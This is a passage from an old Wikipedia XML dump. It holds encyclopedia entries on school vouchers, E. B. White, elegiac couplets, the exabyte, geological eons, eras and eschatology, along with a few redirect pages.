Political support for school vouchers in the United States is mixed.  On the left/right spectrum,  conservatives are more likely to support vouchers.  According to the [[National Education Association]] (NEA), a U.S. teachers union and the largest [[labor union]] in the country, &quot;(U.S.) Voters, for the last 30 years, have rejected vouchers every time they've been proposed&quot;[http://www.nea.org/vouchers/vouchervotes.html].  However, some state legislatures have enacted voucher laws.  [[As of 2006]], the federal government operates the largest voucher program, for evacuees from the region affected by [[Hurricane Katrina]].[http://www.npr.org/templates/story/story.php?storyId=5159138]

==References==
{{cleanup-references}}
*[http://www.nea.org/vouchers/vouchervotes.html Voters Repeatedly Reject Vouchers], National Education Association.
*[http://www.honestedu.org/misc/vouchers.php What about tax-funded vouchers, tax credits, and charter schools?], Alliance for the Separation of School &amp; State.

==External links==
* [http://ericdigests.org/2003-4/vouchers.html The Prospects for Education Vouchers after the Supreme Court Ruling, ERIC Digest]
* [http://ericdigests.org/2001-1/vouchers.html Educational Vouchers, ERIC Digest]
* [http://www.friedmanfoundation.org/ The Milton &amp; Rose D. Friedman Foundation]
* [http://libertymagazine.org/article/view/216 Peabody, Michael. &quot;The Lure of School Vouchers,&quot; Liberty Magazine, July/August 2000.]

[[Category:Alternative education]]
[[Category:Education_issues]]
[[Category:Taxation in the United States]]</text>
    </revision>
  </page>
  <page>
    <title>E. B. White</title>
    <id>9751</id>
    <revision>
      <id>38878931</id>
      <timestamp>2006-02-09T05:25:22Z</timestamp>
      <contributor>
        <username>Richard Arthur Norton (1958- )</username>
        <id>158051</id>
      </contributor>
      <comment>/* Bibliography */  removed errant numbers</comment>
      <text xml:space="preserve">'''Elwyn Brooks White''' ([[July 11]], [[1899]] &amp;ndash; [[October 1]], [[1985]]) was an [[United States|American]] [[essay]]ist, [[author]], and noted prose stylist.  He is most famous today for a writers' [[style guide]], ''[[The Elements of Style]]'', and for three [[children's books]] generally considered to be classics of the field.

== Biography ==

E.B. White was born in [[Mount Vernon, New York]] and graduated from [[Cornell University]] with a [[Bachelor of Arts]] degree in [[1921]]. His nickname &quot;Andy&quot; derives from Cornell co-founder [[Andrew Dickson White]]--any student thereafter named White was called Andy.  He spent several years working as a writer for ''[[The Seattle Times]]'' and ''[[Seattle Post-Intelligencer]]'' and as an ad man before returning to [[New York City]] in [[1924]]. 

He published his first article in the newly founded ''[[The New Yorker]]'' magazine in [[1925]], then joined the staff in [[1927]]. This made him moderately famous for the next six decades as he produced a long series of essays and unsigned &quot;Notes and Comments&quot; that were widely read as the magazine grew in influence. He gradually became the most important contributor to ''The New Yorker'' at a time when it was arguably the most important American literary magazine. He also served as a columnist for ''[[Harper's Magazine]]'' from [[1938]] to [[1943]].

In the late [[1930s]] he turned his hand to [[Children's literature|children's fiction]] on behalf of a niece. His first children's book, ''[[Stuart Little]]'', was published in [[1945]], and ''[[Charlotte's Web]]'' appeared in [[1952]]. Both were highly acclaimed, and in [[1970]] jointly won the [[Laura Ingalls Wilder Medal]], a major prize in the field of children's literature. In the same year, he published his third children's novel, ''[[The Trumpet of the Swan]]''. In 1973, it received the Seqouyah Award from Oklahoma and the William Allen White Award from Kansas.   The school children in these states voted and decided this was their &quot;favorite book&quot; of the year.

In [[1959]] he edited and updated the classic ''[[The Elements of Style]]''. Originally written and published in [[1918]] by [[William Strunk Jr.]], the book is a handbook of grammatical and stylistic dos and don'ts for written [[American English]]. White had studied under Strunk while at Cornell in the years following [[World War I]]. Further editions of the work followed in [[1972]], [[1979]], [[1999]] and, most recently, as an illustrated edition in [[2005]].  It is a standard tool for students and writers.

In [[1978]] he was awarded a special [[Pulitzer Prize]] for his work as a whole. Other awards he received included a [[Presidential Medal of Freedom]] in [[1963]], and memberships in a variety of literary societies throughout the [[United States]]. White was also a [[world federalism|world federalist]], and once said[http://www.vcn.bc.ca/wfcvb/quotesdm.html]:
:''Government is the thing. Law is the thing. Not brotherhood, not international cooperation, not security councils that can stop war only by waging it...Where does security lie, anyway - security against the thief, the murderer? In brotherly love? Not at all. It lies in government.''

White married Katharine Sergeant Angell in [[1929]], also an editor at the magazine and author (as Katharine White) of ''[[Onward and Upward in the Garden]]''.  They had a son, [[Joel White]], a boatbuilder. Katharine's son from her first marriage, [[Roger Angell]], was a fiction editor for the ''New Yorker'', but is perhaps better known as a [[baseball]] writer.  

White's style was stereotypically &quot;[[Yankee]]&quot;: wry, understated, thoughtful, and informed. He was widely regarded as a master of the English language, noted for clear, well-constructed, and charming prose.

He died on [[October 1]], [[1985]] at his farm home in North Brooklin, [[Maine]] and was interred at the Brooklin Cemetery.

==Bibliography==

*'''Essays &amp; Collections'''
**''One Man's Meat''
**''[[Once More to the Lake]]''
**''The Points of My Compass''
**''The Second Tree from the Corner''
**''The Essays of E.B. White''
**''Letters of E.B. White''
**''Poems and Sketches of E.B. White''
**''The Wild Flag''
*'''Children's Books'''
**''[[Charlotte's Web]]''
**''[[Stuart Little]]''
**''[[The Trumpet of the Swan]]''
*'''Other Topics'''
**''[[The Elements of Style]]'' (with [[William Strunk Jr.]])
**''A Subtreasury of American Humor'' (1941), edited by E.B. White and Katharine S. White 
**''[[Is Sex Necessary|Is Sex Necessary?]]'' (with [[James Thurber]])
**''Here is New York''
[[Category:1899 births|White, E.B.]]
[[Category:1985 deaths|White, E.B.]]
[[Category:Essayists|White, E.B.]]
[[Category:World federalists|White, E.B.]]
[[Category:People from Maine|White, E.B.]]
[[Category:Phi Gamma Delta brothers|White, E. B.]]
[[es:E. B. White]]
[[simple:E. B. White]]
[[th:อี.บี. ไวท์]]</text>
    </revision>
  </page>
  <page>
    <title>Evangelist</title>
    <id>9752</id>
    <revision>
      <id>15907622</id>
      <timestamp>2004-07-12T00:53:04Z</timestamp>
      <contributor>
        <username>Sam Spade</username>
        <id>29048</id>
      </contributor>
      <comment>#REDIRECT [[Evangelism]] merging</comment>
      <text xml:space="preserve">#REDIRECT [[Evangelism]]</text>
    </revision>
  </page>
  <page>
    <title>Eukaryotic cell</title>
    <id>9753</id>
    <revision>
      <id>15907623</id>
      <timestamp>2002-07-21T14:10:34Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Eukaryote]]</text>
    </revision>
  </page>
  <page>
    <title>Elegiac couplets</title>
    <id>9754</id>
    <revision>
      <id>15907624</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Elegiac couplet]]
</text>
    </revision>
  </page>
  <page>
    <title>Elegiac couplet</title>
    <id>9755</id>
    <revision>
      <id>36768105</id>
      <timestamp>2006-01-26T09:30:46Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
      </contributor>
      <minor />
      <comment>Bringing &quot;External links&quot;, &quot;See also&quot; and &quot;Reference&quot; sections in line with the [[Wikipedia:Manual of Style|Manual of Style]].</comment>
      <text xml:space="preserve">'''Elegiac couplets''' are a poetic form used by Greek lyric poets for a variety of themes usually of smaller scale than those of epic poetry.  The ancient Romans frequently used elegiac couplets in love poetry, as in [[Ovid]]'s ''Amores''.  As with [[heroic couplets]], the couplets are usually self-contained and express a complete idea.

Elegiac couplets consist of alternating lines of [[dactylic hexameter]] and [[pentameter]]: two [[Dactyl (poetry)|dactyls]] followed by a [[long syllable]], a [[caesura]], then two more dactyls followed by a long syllable.

The following is a graphic representation of its [[scansion]].  Note that - is a long syllable, u a short syllable, and U either one long or two shorts:

     - U | - U | - U | - U | - u u | - - 
     - U | - U | - || - u u | - u u | -

Example:
 In the Hexameter rises the fountain's silvery column,
 In the pentameter aye falling in melody back.

==See also==
*[[Meter (poetry)]]
*[[Ovid]]


==External links==
*[http://www.users.globalnet.co.uk/~loxias/latinverse.htm Reading Latin Verse Aloud: Metre and Scansion]
*[http://classics.rutgers.edu/Lat327/def.html What is Elegy?]

[[Category:Poetic form]]

[[da:Elegisk distikon]]
[[fr:Distique élégiaque]]</text>
    </revision>
  </page>
  <page>
    <title>Exabyte</title>
    <id>9756</id>
    <revision>
      <id>41722733</id>
      <timestamp>2006-03-01T08:03:30Z</timestamp>
      <contributor>
        <ip>70.231.255.98</ip>
      </contributor>
      <text xml:space="preserve">:''For the company that manufactures data backup products, see [[Exabyte Corporation]]''.

{{Quantities of bytes}}

An '''exabyte''' (derived from the [[SI prefix]] ''[[exa]]''-, and abbreviated as '''EB''') is a unit of [[information]] or [[computer storage]] equal to approximately one [[quintillion]] [[byte]]s. 

Because of irregularities in the definition and usage of terms for byte multiples, the exact number can be either one of the following:

* 1,000,000,000,000,000,000 bytes &amp;mdash; 1000&lt;sup&gt;6&lt;/sup&gt;, or 10&lt;sup&gt;18&lt;/sup&gt;.
* 1,152,921,504,606,846,976 bytes &amp;mdash; 1024&lt;sup&gt;6&lt;/sup&gt;, or 2&lt;sup&gt;60&lt;/sup&gt;. 

Because of these irregularities, the term &quot;[[exbibyte]]&quot; has been proposed as an unambiguous reference to the latter value. (See [[binary prefix]]es.)

[[As of 2005]], exabytes of data are almost never encountered in any practical context. For example, the total amount of printed material in the world is estimated to be around five exabytes. However, one may hear of 16 or 18 exabytes of [[address space]] when discussing [[64-bit]] architectures.

It was estimated that by the end of 1999, the sum of human knowledge (including audio, video and text) was 12 exabytes. [http://www.cio.com/archive/092203/enriquez.html]

Research at the UC Berkeley School of Information suggests that 5 exabytes of new information was created in 2002 alone, 92% of it on magnetic media, mostly on hard discs. [http://www.sims.berkeley.edu:8000/research/projects/how-much-info-2003/execsum.htm] 

==See also==
* [[exabit]]
* [[exbibyte]]
* [[orders of magnitude (data)]]

==External links and references==
* [http://searchstorage.techtarget.com/sDefinition/0,,sid5_gci212085,00.html exabyte (whatis.com definition)]


[[Category:Units of information]]

[[ar:إكسابايت]]
[[es:Exabyte]]
[[nl:Exabyte]]
[[de:Exabyte]]</text>
    </revision>
  </page>
  <page>
    <title>Eon (geology)</title>
    <id>9757</id>
    <revision>
      <id>41439857</id>
      <timestamp>2006-02-27T09:05:29Z</timestamp>
      <contributor>
        <ip>212.149.190.129</ip>
      </contributor>
      <comment>fi</comment>
      <text xml:space="preserve">:''For the [[Gnostic]] word, see [[aeon]]. For other uses, see [[eon (disambiguation)]].''
In general usage, an '''eon''' (sometimes spelled '''aeon''') is a very long period of time. [[Geologist]]s refer to an eon as the largest period of [[geologic time scale|geologic time]]. For example, the [[Phanerozoic]] Eon, which is about 550 million years long, covers the period of time during which [[animal]]s with hard shells that [[fossil|fossilize]] well have been abundant.

An '''eon''' is composed of several [[era (geology)|eras]], which in turn are composed of [[period (geology)|periods]], which are composed of [[epoch (geology)|epoch]]s. We are currently in the [[Phanerozoic]] Eon, the [[Cenozoic]] Era, the [[Neogene]] Period, and the [[Holocene]] epoch.

One definition of an eon puts it as &quot;a unit of geologic time equal to one billion years&quot; [http://www.m-w.com/dictionary/eon], although it is rarely used in this manner.

Only one eon exists besides the Panerozoic: the [[Precambrian]]. However, the term eon not always used, as the Precambrian was traditionally classified as an [[era]]. If one accepts the interpretation of it as an eon, the geologic timetable is divided as follows:

{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;10&quot;
|-
! style=&quot;background:#efefef;&quot; | [[Eon_(geology)|Eon]]
! style=&quot;background:#efefef;&quot; | [[Era (geology)|Era]]
! style=&quot;background:#efefef;&quot; | ([[annum|Ma]] = million of years ago)
|-
| rowspan=&quot;3&quot; | [[Phanerozoic]]
| [[Cenozoic]]
| 66 Ma to present day
|-
| [[Mesozoic]]
| 245 Ma – 66 Ma
|-
| [[Paleozoic]]
| 570 Ma – 245 Ma
|-
| rowspan=&quot;4&quot; | [[Precambrian]]
|-
| [[Proterozoic]]
| 2500 Ma – 570 Ma
|-
| [[Archean]]
| 3800 Ma – 2500 Ma
|-
| [[Hadean]]
| 4550 Ma – 3800 Ma
|}

The Precambrian eon covers the four billion years of Earth history prior to the appearance of hard-shelled animals, while the Phanerozoic essentially covers everything else. The former is currently about eight times as long as the latter, but assuming no new divisions are formed, this will change in the future. Note that such divisions are arbitrary in that they are designated by man, so in other words, the Phanerozoic will be longer than the Precambrian in three and a half billion years assuming an Earth-shattering geological event does not occur, necessitating such a shift.


== References ==
* [http://www2.nature.nps.gov/geology/usgsnps/gtime/gtime1.html USA National Park Service]
* [http://astro.wsu.edu/worthey/earth/html/md08.html Washington State University]


According to the UCMP site (http://www.ucmp.berkeley.edu/help/timeform.html), there are only 2 time periods classified as &quot;EON&quot;: 1) The Precambrian, and 2) the Phanerozoic. The Hadean, Archaean, and Proterozoic time periods are classified as &quot;Eras.&quot;

{{geol-stub}}

[[Category:Geologic time scale]]

[[da:Æon]]
[[de:Äon (Geologie)]]
[[fr:Éon]]
[[gl:Éon xeolóxico]]
[[it:Eone]]
[[no:Eon (geologi)]]
[[pl:Eon]]
[[sl:Eon]]
[[fi:Eoni]]
[[sv:Eon]]</text>
    </revision>
  </page>
  <page>
    <title>Era</title>
    <id>9758</id>
    <revision>
      <id>40851376</id>
      <timestamp>2006-02-23T12:21:13Z</timestamp>
      <contributor>
        <username>Konstable</username>
        <id>579189</id>
      </contributor>
      <minor />
      <comment>+{{wiktionary}}</comment>
      <text xml:space="preserve">:''For other meanings see [[ERA]].''

In [[chronology]], an '''era''' is the highest level for the organization of the measurement of [[time]]. A '''[[calendar era]]''' span of many years which are numbered beginning at a specific [[epoch (reference date)|epoch]], which often marks the origin of a state or cosmology, the birth of a leader, or another significant historical or mythological event; it can be called after either accordingly.

The word era also denotes the units used under a different, more arbitrary system where time is not represented as an endless continuum with a single reference year, but each unit starts counting from one again, as if time starts again. Such rather impractical system &amp;mdash; a nightmare for historians once a single piece of the puzzle is missing &amp;mdash; is the use of [[regnal year]]s, which often reflects the preponderance in public life of the absolute ruler in many ancient cultures, while such tradition sometimes outlives the political power of the throne. In [[East Asia]], each emperor's reign may be subdivided into several reign periods, each being treated as a new era. The name of each was a motto or slogan chosen by the emperor. Different East Asian countries utilized slightly different systems, notably:

*[[Chinese era name|Chinese Eras]]
*[[Japanese era name|Japanese Eras]]
*[[Korean era name|Korean Eras]]
*[[Vietnamese era name|Vietnamese Eras]]

A similar practice survived in the [[United Kingdom]] until quite recently, but only for formal official writings: in daily life the ordinary year A.D. was used since long, but [[Acts of Parliament]] used to be dated according to the years of the reign of the current [[Monarch of the United Kingdom|Monarch]], so that &quot;61 &amp; 62 Vict c. 37&quot; refers to the [[Local Government (Ireland) Act 1898]] passed in the session of [[Parliament of the United Kingdom|Parliament]] in the 61st/62nd year of the reign of [[Victoria of the United Kingdom| Queen Victoria]].

In common speech and various contexts, the term era is also used, by extension, for any (as a rule relatively long) period in history with a name, often relating to common characteristic(s), even if this is not the normal way to organize time. 
The most relevant type are politic periods, for example: the Roman era, the [[Elizabethan era]], the [[Victorian era]] (dynastic criteria, only formally correct within the British realm/empire/Commonwealth) and the [[Soviet era]], or comparable literary notions like the Biblical era. 

The word Era is also popularly used to denote the passing of &amp;mdash; often shorter &amp;mdash; periods that are only defined in terms of a specific discipline of sphere of life, such as the prominence of an artistic style, or more specificly in [[music]], see '''[[:Category:Musical eras|musical eras]]''', described in [[History of music]], such as the [[Big Band|Big Band era]], [[Disco era]]. Something like the death of [[Frank Sinatra]] is poetically called ''the end of an era''.

* In natural science, there is need for another time perspective, independent from human activity, and indeed spanning a far longer period (mainly prehistoric), as in [[Geology]] where ''[[Era (geology)|era]]'' refers to four well defined time spans covering the enire existence of the planet [[Earth]]: from oldest to youngest, these are the [[Precambrian|Proterozoic]], [[Palaeozoic|Paleozoic]], [[Mesozoic]], and [[Cenozoic]] eras, each subdivided in shorter periods; see [[Geologic timescale]] for a slightly different interpretation and details.
In astronomy the periods are even longer, to cover the entire existence of the universe (in the order of 13.7 billion years), but usually just denoted in numerical units, as there is no significant link to any earthly reality, our planet being astronomically insignificant (except as the only known observation point).
 
==External links==
{{wiktionary|era}}
*[http://homepage1.nifty.com/history/history.html Comparative timeline of Chinese, Japanese and Korean historical events]

[[Category:Units of time]]

[[cs:Letopo&amp;#269;et]]
[[da:Æra]]
[[ja:&amp;#32000;&amp;#20803;]]
[[pl:Era]]
[[sl:Era]]
[[sv:Era]]</text>
    </revision>
  </page>
  <page>
    <title>Eschatology</title>
    <id>9760</id>
    <revision>
      <id>41980917</id>
      <timestamp>2006-03-03T00:49:29Z</timestamp>
      <contributor>
        <username>JW1805</username>
        <id>104381</id>
      </contributor>
      <minor />
      <comment>/* Christianity */ +pic</comment>
      <text xml:space="preserve">:''For the book by Pope Benedict XVI, see [[Eschatology (book)]]. For other theories about the end of the world, see [[End of the world]].''

[[Image:Duerer-apocalypse.png|256px|right|thumb|[[Albrecht Dürer]] - ''[[Four horsemen of the Apocalypse]]'']]
{{wiktionarypar|eschatology}}

'''Eschatology''' (from the [[Greek language|Greek]] ''έσχατος'' meaning &quot;last&quot; + ''[[-logy]]'') is a part of [[theology]] ([[End Times]]) and [[philosophy]] concerned with the final events in the [[history of the world]] or the ultimate [[destiny]] of [[human kind]], commonly phrased as the '''end of the world'''. In many [[religion]]s, the end of the world is a future event [[prophecy|prophesied]] in [[sacred text]]s or [[folklore]]. More broadly, eschatology may encompass related concepts such as the [[Messiah]] or [[Messianic Age]], the [[afterlife]], and the [[soul]].

The [[Greek language|Greek]] word ''αιών'' means &quot;age&quot;; some translations may read &quot;end of the age&quot; instead of &quot;end of the world&quot;. The distinction also has theological significance, for the &quot;end times&quot; in many religions may involve the destruction of the planet (or of all living things), but with the human race surviving in some new form, ending the current &quot;age&quot; of existence and beginning a new one.   

Most Western monotheistic religions have doctrines claiming that 'chosen' or 'worthy' members of the one true faith will be &quot;spared&quot; or &quot;delivered&quot; from the coming judgement and wrath of God.  They will be ushered into [[paradise]] either before, during, or after it depending upon the end-time scenario to which they hold. As well as the wrath of God at the end of the age there is the wrath of man.

==Buddhism==
{{main|Buddhist eschatology}}
[[Buddha]] predicted that his teachings would disappear after 500 years.  According to the [[Sutta Pitaka]], the &quot;ten moral courses of conduct&quot; will disappear and people will follow the ten amoral concepts of [[theft]], [[violence]], [[murder]], [[lying]], evil speaking, [[adultery]], abusive and idle talk, covetousness and ill will, wanton [[Greed (emotion)|greed]], and perverted [[lust]] resulting in skyrocketing [[poverty]] and the end of the worldly laws of true [[dharma]].

During the [[Middle Ages]], the span of time was expanded to 5,000 years.  Commentators like [[Buddhaghosa]] predicted a step-by-step disappearance of the Buddha's teachings.  During the first stage, [[arahat]]s would no longer appear in the world.  Later, the content of the Buddha's true teachings would vanish, and only their form would be preserved.  Finally, even the form of the Dharma would be forgotten.  During the final stage, the memory of the Buddha himself would be forgotten, and the last of his relics would be gathered together in [[Bodh Gaya]] and cremated.  Some time following this development a new [[Buddha]] named [[Maitreya]] will arise to renew the teachings of Buddhism and rediscover the path to [[Nirvana]].  Maitreya is believed to currently reside in the [[Tusita]] heaven, where he is awaiting his final rebirth in the world.

The decline of Buddhism in the world, and its eventual re-establishment by Maitreya, are in keeping with the general shape of [[Buddhist cosmology]].  Like Hindus, Buddhists generally believe in a cycle of creation and destruction, of which the current epoch represents only the latest step.  The historical Buddha Shakyamuni is only the latest in a series of Buddhas that stretches back into the past.

==Christianity==
{{main articles|[[Christian eschatology]] and [[Timeline of unfulfilled Christian Prophecy]] and [[Armageddon]] and [[Apocalypticism]] and [[End times]]}}
[[Image:Michelangelo - Fresco of the Last Judgement.jpg|right|thumb|The Last Judgement - Fresco in the [[Sistine Chapel]] by [[Michelangelo]].]]
[[Christian]]s in the [[1st century]] AD believed the end of the world would come during their lifetime. [[Jesus]] in [[Gospel of Mark|Mark]] 13:8 compared the end of the world with a mother's birth pain, and the image implied the world was already pregnant with its own destruction, but no one but God knows when it will happen. When the converts of Paul in [[Thessalonica]] were persecuted by the [[Roman Empire]], they believed the end was upon them. However, doubt rose when as early as the [[90s]] Christians said, &quot;We have heard these things [of the end of the world] even in the days of our fathers, and look, we have grown old and none of them has happened to us&quot;. In the [[130s]] [[Justin Martyr]] declared God was delaying the end of the world because he wished for [[Christianity]] to become a [[Major world religions|world religion]]. In the [[250s]] [[Cyprian]] wrote that Christian [[Sin#Christian views of sin|sins]] of that time were a prelude and proof that the end was near. 

However, by the [[3rd century]] most Christians believed the End was beyond their own lifetime; Jesus, it was believed, had denounced attempts to divine the future, to know the &quot;times and seasons&quot;, and such attempts to predict the future were discouraged; yet the End was given a date with the help of [[Halakha|Jewish traditions]] in the [[Six Ages of the World]]. Using this system, the End was fixed at [[202]], but when the date passed, the date was changed to AD [[500]]. After AD 500 the importance of the End as a part of Christianity was marginalized, though  
it continues to be stressed during the season of [[Advent]].

Some current Christians place the end of the world within their lifetime or shortly thereafter. As evidence to support these ideas, many point to the prolific news coverage of tragedies around the world, sometimes &quot;Biblical&quot; in proportion, and offer interpretations of various passages from the [[Bible]]. Also, some Catholics believed that [[Third Secret of Fatima|the third part of the Fatima message]], which was to be disclosed by the Vatican in 1960 but finally was published under the pontificate of [[John Paul II]], was a prophetic message from the Blessed Mother about the end times, but it turned to be a symbolic message closely related to the assassination attempt of the late Pope.

The issue of whether the true believers will see the end causes division in [[evangelical]] circles.

== Hinduism ==
{{main|Hindu eschatology}}

[[Hinduism|Hindu]] traditional prophecies, as described in the [[Puranas]] and several other texts, say that the world shall fall into chaos and degradation. There will then be a rapid influx of perversity, greed and conflict, and this state has been described as:

&quot;When deceit falsehood, lethargy, sleepiness, violence, despondency, grief, delusion, fear, and poverty prevail ... when men, filled with conceit, consider themselves equal with the [[Brahmins]]...that is the ''[[Kali Yuga]]''.&quot;

This is followed by the appearance of an [[avatar]], &quot;The Lord shall manifest Himself as the ''[[Kalki|Kalki Avatar]]''...He will establish righteousness upon the earth and the minds of the people will become as pure as crystal...As a result, the [[Sat]] or [[Krta Yuga]] (golden age) will be established.&quot;

==Islam==
{{main|Islamic eschatology}}

In [[Islam]], it is believed that on the [[Qiyamah|Day of Reckoning]], [[Allah|God]] will resurrect and judge the dead, sending the righteous to [[Jannah|Heaven]] and unrepentant evildoers to [[Jahannam|Hell]]. The historical origins of Islamic eschatological belief are also closely related to the Christian, in that [[Muhammad]] taught his [[Sahaba|companions]], as Jesus taught his [[Apostles|disciples]], that some of them would see the end of all things within their lifetimes.

Non-[[Qu'ran]]ic [[Hadith|traditions]] include a Muhammad-like holy warrior, the [[Mahdi]] (whom [[Shi'a]] equate with the long-lived [[Muhammad al-Mahdi|Twelfth Imam]]), who will defend Islam from the Antichrist, various [[Dabbat al-ard|Beast]]s, the [[Gog_and_Magog#Gog_and_Magog_in_the_Qur'an|Gog and Magog]] tradition, angelic heralds with trumpets, [[Fitna|civil war]], natural disasters and signs in the heavens, and a clash between [[Isa|Jesus]] and the [[Dajjal|Antichrist]]&amp;nbsp;&amp;mdash; a belief system broadly similar to the Christian [[New Testament]] stories from which it may have been derived.

==Judaism==
{{main|Jewish eschatology}}

In [[Judaism]], the end of the world is called the ''acharit hayamim'' ('''end of days'''). Tumultuous events will overturn the old world order, creating a new order in which [[God]] is universally recognized as the ruler over everyone and everything. One of the sages of the [[Talmud]] says that, &quot;Let the end of days come, but may I not live to see them&quot;, because they will be filled with so much conflict and suffering.

The [[Talmud]], in the tractate Avodah Zarah, page 9A, states that this world as we know it will only exist for six thousand years. The [[Jewish calendar]] (''luach'') functions completely on the assumption that time begins at the [[Creation (theology)|Creation]] of the world by God in [[Genesis]]. Many people (notably [[Conservative Judaism|Conservative]] and [[Reform Judaism|Reform Jews]] and some [[Christianity|Christians]]) think that the years of the [[Torah]], or Jewish [[Bible]], are symbolic. According to the ancient Jewish teachings continued by today's [[Orthodox Jews]], the years are literal and consistent throughout all time, with 24 hours per day and an average of 365 days per year. Appropriate calibrations are, of course, done with leap years, to account for the difference between the [[lunar calendar]] and the [[solar calendar]], since the [[Jewish calendar]] is based on both. Thus the year [[2005]] equals 5765 years ''since creation'' on the present Jewish calendar. According to this calculation, the end of days will occur in the year [[2240]].

According to Jewish tradition, the end of the world will see:
# Ingathering of the scattered Jewish exiles to geographic [[Israel]],
# Defeat of all of Israel's enemies,
# Building of the third Jewish [[Temple in Jerusalem]] and the resumption of the [[sacrifice|sacrificial offerings]] and Temple service,
# Revival of the Dead (''techiat hameitim''), or the [[Resurrection]],
# At some point, the [[Jewish Messiah]] who will become the anointed [[Monarch|King]] of Israel. He will divide the Jews in Israel into their original [[Tribes of Israel|tribal]] portions in the land. During this time [[Gog]], king of [[Magog (Bible)|Magog]], will attack Israel. Who Gog and the Magog nation are is unknown. Magog will fight a great battle, in which many will die on both sides, but God will intervene and save the [[Jew]]s. This is the battle referred to as [[Armageddon]]. God, having vanquished this final enemy once and for all, will accordingly banish all evil from human existence. After the year 6000 (in the Jewish calendar), the seventh millennium will be an era of holiness, tranquility, spiritual life, and worldwide peace, called the ''Olam Haba'' (&quot;Future World&quot;), where all people will know God directly. The Jewish holiday of [[Rosh Hashanah]] has many identical aspects to the Islamic belief in Qiyamah, such as the title of, &quot;Day of the sounding of the [[Shofar]]&quot;.

== Native American==
Several [[Indigenous peoples of the Americas|Native American]] tribes have similar beliefs concerning the end times.

=== Hopi ===
Tribal leaders of the [[Hopi]] tribe, such as [[Dan Evehama]], [[Thomas Banyaca]] and [[Martin Gashwaseoma]] prophecize that the coming of the [[white man]] signals the end times, along with a strange beast &quot;like a [[Bison|buffalo]] but with great horns that would overrun the land&quot; (i.e. [[cattle]]).  It is prophesized that during the end times the earth would be crossed by [[iron]] [[snake]]s and [[rock (geology)|stone]] [[rivers]], (i.e. [[railroad]]s), and the land would be criss-crossed by a giant spider's web (i.e. [[freeway]]s), and seas will turn black (i.e. [[oil spill]]s).  

It is also prophesized that a &quot;great dwelling place&quot; in the heavens shall fall with a great crash.  It will appear as a blue star, and the earth will rock to and fro. White men would then battle people in other lands, with those who possess wisdom of their presence. There would then be smoke in the deserts, and the signs that great destruction is near.  

Many would then die, but those who understand the prophecies shall live in the places of the Hopi people and be safe.  The [[Pahana]] or &quot;True White Brother&quot; would then return to plant the seeds of wisdom in people's hearts, and thus usher in the dawn of the Fifth World.

=== Mayans ===
The [[Mayans]] believe that earth would be destroyed by several catastrophes (i.e. [[earthquakes]], [[volcano]]es, [[flood]]s etc.).  [[Civilization]]s would then collapse, and the Indian [[god]] [[Kulkulcan]] - the Mayan equivalent to the [[Aztec]] [[Quetzalcoatl]] - a feathered serpent deity, who represents forces of good and light, would then appear.

According to ''The Mayan Prophecies'' &quot;The end of artificial time signals and the return to natural light, a time in harmony with the Earth and with the natural cycles [would] hold the potential to reinstate a balanced, positive love and unity cycle.&quot;

The current [[Mayan calendar]] cycle ends on [[December 21]], [[2012]], thus this year is predicted to be the end of the world according to several prophecies.

=== Sioux ===
According to an [[Ogalala]] - or [[Sioux]] medicine man - &quot;darkness would descend over the tribe...the world would be out of balance.  Floods, fires and earthquakes would then ensue.&quot;

A &quot;White Buffalo Calf Woman&quot; will then purify the world.  She will then bring back harmony and spiritual balance.

A [[white buffalo]] was born in [[1994]], and another in [[1995]].  Many tribal leaders thus feel that the prophecy is being fulfilled.

==[[Norse mythology]]==
{{main|Ragnarok}}

In [[Norse mythology]] a strong winter called the [[Fimbulwinter]] will seize the earth and bring disorder and fighting between the people of [[Midgard]] just before [[Ragnarok]]. Ragnarok (&quot;fate of the gods&quot;) is the [[battle]] during the end of the world waged between the gods (the [[Æsir]], the Vaner and the Einherjar, led by [[Odin]]) and the forces of Chaos (the [[fire giant]]s, the [[Jotuns]] and various monsters, led by [[Loki]]). Not only will the gods, giants, and monsters perish in this apocalyptic conflagration, but almost everything in the [[universe]] will be torn asunder.

==Zoroastrianism==
{{main|Zoroastrian eschatology}}

Zoroastrianism eschatology is the oldest eschatology in recorded history. By [[500 BC]], [[Zoroastrians]] had fully developed a concept of the end of the world through a divine devouring in fire.

According to Zoroastrian philosophy, redacted in the Zand-i Vohuman Yasht, &quot;at the end of thy tenth hundredth winter...the [[sun]] is more unseen and more spotted; the year, month, and day are shorter; and the earth is more barren; and the crop will not yield the seed; and men ... become more deceitful and more given to vile practices. They have no gratitude.&quot;

At the end of the Battle between the righteous and wicked, a [[Last Judgement|Final Judgement]] of all souls will commence. Sinners will be punished 3 days, but are then forgiven. The world will reach perfection as poverty, old age, disease, thirst, hunger and death are halted. Zoroastrian concepts parallel greatly with those of [[Judaism|Jewish]], [[Christianity|Christian]], and [[Islam]]ic eschatological beliefs, largely due to the  influence Zoastrianism exerted on Judaism whilst the Levant was under [[Achaemenid]] control and the subsequent emergence of Christianity and Islam from Judaism.

==Prophetic movements==
*In [[1843]], [[William Miller (preacher)|William Miller]] made the first of several predictions that the world would end in only a few months. Obviously, none of them took place, but [[Millerites|followers of Miller]] went on to found separate churches, the most successful of which is the [[Seventh-day Adventist Church]].

==Other religions==
{{sect-stub}}

Many [[Neopaganism|Neopagans]] and [[Wicca|Wiccans]] believe that the entire Universe continues in endless cycles of birth, death, and rebirth.

== Philosophy ==
Eschatology has also been a belief shared, sometimes theorized, by [[philosophers]]. [[Augustine of Hippo|Saint Augustine]] has been one of the most famous eschatological thinkers, followed by [[Hegel]]'s [[philosophy of history]], and, some have argued [[Marxist]]s &amp;ndash; as a [[secular]] religion. [[Theodicy]] has gathered together most [[Enlightenment]] thinkers, among whom are [[Kant]] and [[Rousseau]].

==See also==
* [[Ancient Aztec eschatology]]
* [[Ancient Egyptian eschatology]] 
* [[Ancient Greek eschatology]]
* [[Ancient Roman eschatology]]
* [[Rastafarian eschatology]]
* [[2012]]
* [[2012 Apocalyptic theories]]
* [[Apocalypse]]
* [[Apocalypticism]] (Judaism, Christianity, Islam, Rastafari Movement; comprehensive &quot;see also&quot; links)
* [[Armageddon]], [[End times]]
* [[Human evolution]]
